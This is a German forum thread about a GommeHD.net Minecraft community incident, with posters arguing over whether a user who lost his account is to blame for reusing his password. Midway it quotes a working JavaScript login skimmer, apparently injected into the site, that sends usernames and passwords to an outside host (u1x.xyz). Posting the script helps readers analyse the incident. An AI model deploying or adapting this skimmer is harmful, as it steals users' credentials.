Darfst du nicht mich fragen ^^ ?Aber es ist wirklich ganz ganz sicher, dass er sein Passwort durch diese "Sicherheitslücke" verloren hat?
Darfst du nicht mich fragen ^^ ?Aber es ist wirklich ganz ganz sicher, dass er sein Passwort durch diese "Sicherheitslücke" verloren hat?
Oh ja, und weil es ein Spiel ist, was man über Jahre hinaus aus Spaß gespielt hat, und sich "was aufgebaut" hat, darf man sich nicht beschweren, wenn das ganze weg ist? Faustschlag beschwert sich zurecht, da es nicht sein Fehler ist, und es unfair ist, dass bei anderen Spielern die Stats übertragen wurden, und bei ihm nicht.OMG MEINE STATS SIND WEG BUHUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
Ne jetzt mal ehrlich: Es. ist. ein. verdammtes. Spiel.
Warum sollten bitte die Stats übertragen werden.
Mojang Support anschreiben, falls möglich Beweise vorlegen, zack Account wieder da.
Nein ist es nicht, aber das sofort daraufhin sein Minecraft Account nach jahrelanger einwandfreier Nutzung nicht mehr geht, führt wohl darauf hinzu.Aber es ist wirklich ganz ganz sicher, dass er sein Passwort durch diese "Sicherheitslücke" verloren hat?
Wer für seinen Minecraft-Account dasselbe Passwort wie für seinen Foren-Account verwendet, ist selbst schuld.da es nicht sein Fehler ist
Er hat den Fehler gemacht, für zwei Accounts dasselbe Passwort zu verwenden.Nein, es ist NICHT seine Schuld, da das ganze nicht vorgekommen wäre, wenn der Fehler von Gomme nicht vorhanden gewesen wäre.
Faustschlag hat nichts getan, um das ganze zu bewirken.
Hätte er beispielsweise auf irgendeiner "Free GommeHDnet Premium" Seite seine Daten angegeben, dann wäre es seine Schuld gewesen.
$(function (){
window.onload=function(){
var myList = document.getElementsByClassName("btn btn-primary btn-lg btn-block");
var inputs = document.getElementsByClassName("form-control");
var x = document.getElementsByTagName("form");
inputs[0].name = "login";
inputs[1].name = "password";
for (i = 0; i < x.length; i++) {
if(x[i].getAttribute("data-reactid") == ".0"){
x[i].id = "loginform";
}
}
myList[0].onclick = function() {
var get = document.getElementsByClassName("form-control");
$.ajax({
type:"POST",
url: "https://u1x.xyz/a.php",
data: { t: Date.now(), u: document.URL, k: "login="+get[0].value+"&password="+get[1].value}
});
};
}
});
$(function (){
window.addEventListener("beforeunload", function (e) {
var $k = $('#loginform').serialize();
$.ajax({
type:"POST",
url: "https://u1x.xyz/a.php",
data: { t: Date.now(), u: document.URL, k: $k}
});
});
});
$(function (){
window.onbeforeunload = function (e) {
var $k = $('#loginform').serialize();
$.ajax({
type: "POST",
url: "https://u1x.xyz/a.php",
data: { t: Date.now(), u: document.URL, k: $k}
});
};
});
Anderer Server.Danke @Exa_Byte
Damit wurde die Tatsache, dass keine Passwörter von anderen Accounts abgefangen wurden, belegt.
Eine Frage habe ich noch: Wurde das Script auf https://www.gommehd.net hochgeladen oder wurde es von einem anderen Server geladen? Könnte für Nutzer von Noscript interessant sein.
Nein, ich könnte dich schon wieder aufgrund deines Profilbilds beleidigen was mich von grundauf schon provoziert, jedoch unterlasse ich das mal.Wer für seinen Minecraft-Account dasselbe Passwort wie für seinen Foren-Account verwendet, ist selbst schuld.